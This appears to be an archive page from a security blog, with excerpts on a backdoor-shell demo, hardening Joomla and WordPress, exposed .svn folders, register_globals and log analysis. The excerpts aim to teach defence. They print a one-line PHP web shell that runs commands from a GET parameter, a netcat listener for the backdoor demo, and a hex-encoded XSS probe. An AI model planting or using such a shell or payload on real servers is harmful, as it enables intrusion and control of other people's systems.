Archive for the ‘security’ Tag

playing with a backdoor

I played last night with a backdoor shell that I found on the net and will show you how this works and how you can find traces if you are the system administrator.

I used 2 vm’s (virtual machines), both based on Debian/Linux one called “victim” it simulates the cracked server where the backdoor runs and the other box called “hacky” where the bad guy is sitting in front :)

The first step of the bad guy is to start a server that listens on some port (12345) on his box, a good program for this is netcat, the command could be something like: netcat -l -p 12345

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How to secure Joomla!

I’m not a big fan of Joomla! but a client wanted to use it and so I had a closer look on it, to make it a bit securer.
For the moment I work with the 1.0.14 version and read that the Joomla1.5 work with safe mode on and has some nice security features.
Here are some tips which you can also use if you aren’t a Joomla head.

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hardening wordpress

I had positive feedback after posting my article about hardening Joomla!, so I will now focus on the blog-software wordpress.
Here are a couple of tips that you can use to make your wordpress a bit securer.

Change the default name of your administrator login (admin) and choose a strong password for all your accounts. It’s also a good idea to use different login- and author-names, wordpress has also a great user levels.
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Spam protection with Akismet

Akismet, or Automattic Kismet, is a text spam filtering service created by Automattic, the corporation which employs most of the main developers of WordPress.

When a new comment is posted on your site, Akismet webs service catches the comment and tests whether a comment is valued as “spam” or “not spam”. Continue reading

Subversion a security risk?

Subversion allows users to keep track of changes made to source code. It’s very handy and many developers use it everyday, like me.

Some websites have a svn checkout in their public web folder to make faster updates if code change.

Letting the cat out of the bag right now: If the webserver has directory listening on, it’s easy to spy parts of your website.
If you take a closer look to the structure of Subversion you will notice that Subversion creates on every folder a subfolder called “.svn” with some files.

A example is a webshop which uses Subversion on the web server.

The start site of the webshop

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Pixy: XSS and SQLI Scanner for PHP Programs

Pixy is a free Java program that performs automatic scans of PHP 4 source code, aimed at the detection of Cross-site scripting (XSS) and SQL injection (SQLI) vulnerabilities. Pixy takes a PHP program as input, and creates a report that lists possible vulnerable points in the program, together with additional information for understanding the vulnerability.

There is also a easy to use webinterface where you can upload your files or paste the code to analyse it.

http://pixybox.seclab.tuwien.ac.at/pixy/webinterface.php

What does a phpshell look like?

After my last posting “(evil) Register Globals (on)“, I got an email asking what remote files look like and what they do. I call remote files “phpshells”. phpshells can send commands directly to the server system over http.

An easy version could be using a GET variable for a system call. Indeed, it’s enough to steal information, destroy pages and do other nasty stuff on a web server.

<?php
    system($_GET[‘cmd’]);
?>

The r57shell is the deluxe version of a phpshell. I added some pictures below. It’s an interface and has functions like ftp, mail and many more.

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(evil) Register Globals (on)

The register_globals directive is enabled (register_globals = On) by default in PHP versions 4.2.0 and greater in the php config (php.ini). While it doesn’t represent a security vulnerability, it’s a security risk.

Why is it a security risk? Let’s look at this example:

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Keep sensitive data out of your web tree

A web server’s document structure resembles this:

/htdocs
    /include
        config.inc
    index.php

If you store sensitive data like configuration files, everyone can point
the browser to http://example.com/include/config.inc and read it.

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Cheating with obfuscation

Sometimes I find strange lines in my webservers log, like this one:

“GET site.php?id=%3C%73%63%72%69%70%74
%3E%61%6C%65%72%74%28%32%33%29%3B%3C
%2F%73%63%72%69%70%74%3E HTTP/1.1”

Whats that? No it’s not the matrix it looks like someone tried to obfuscate something with Hex.
Let’s write 2 lines using urldecode() to check this string.

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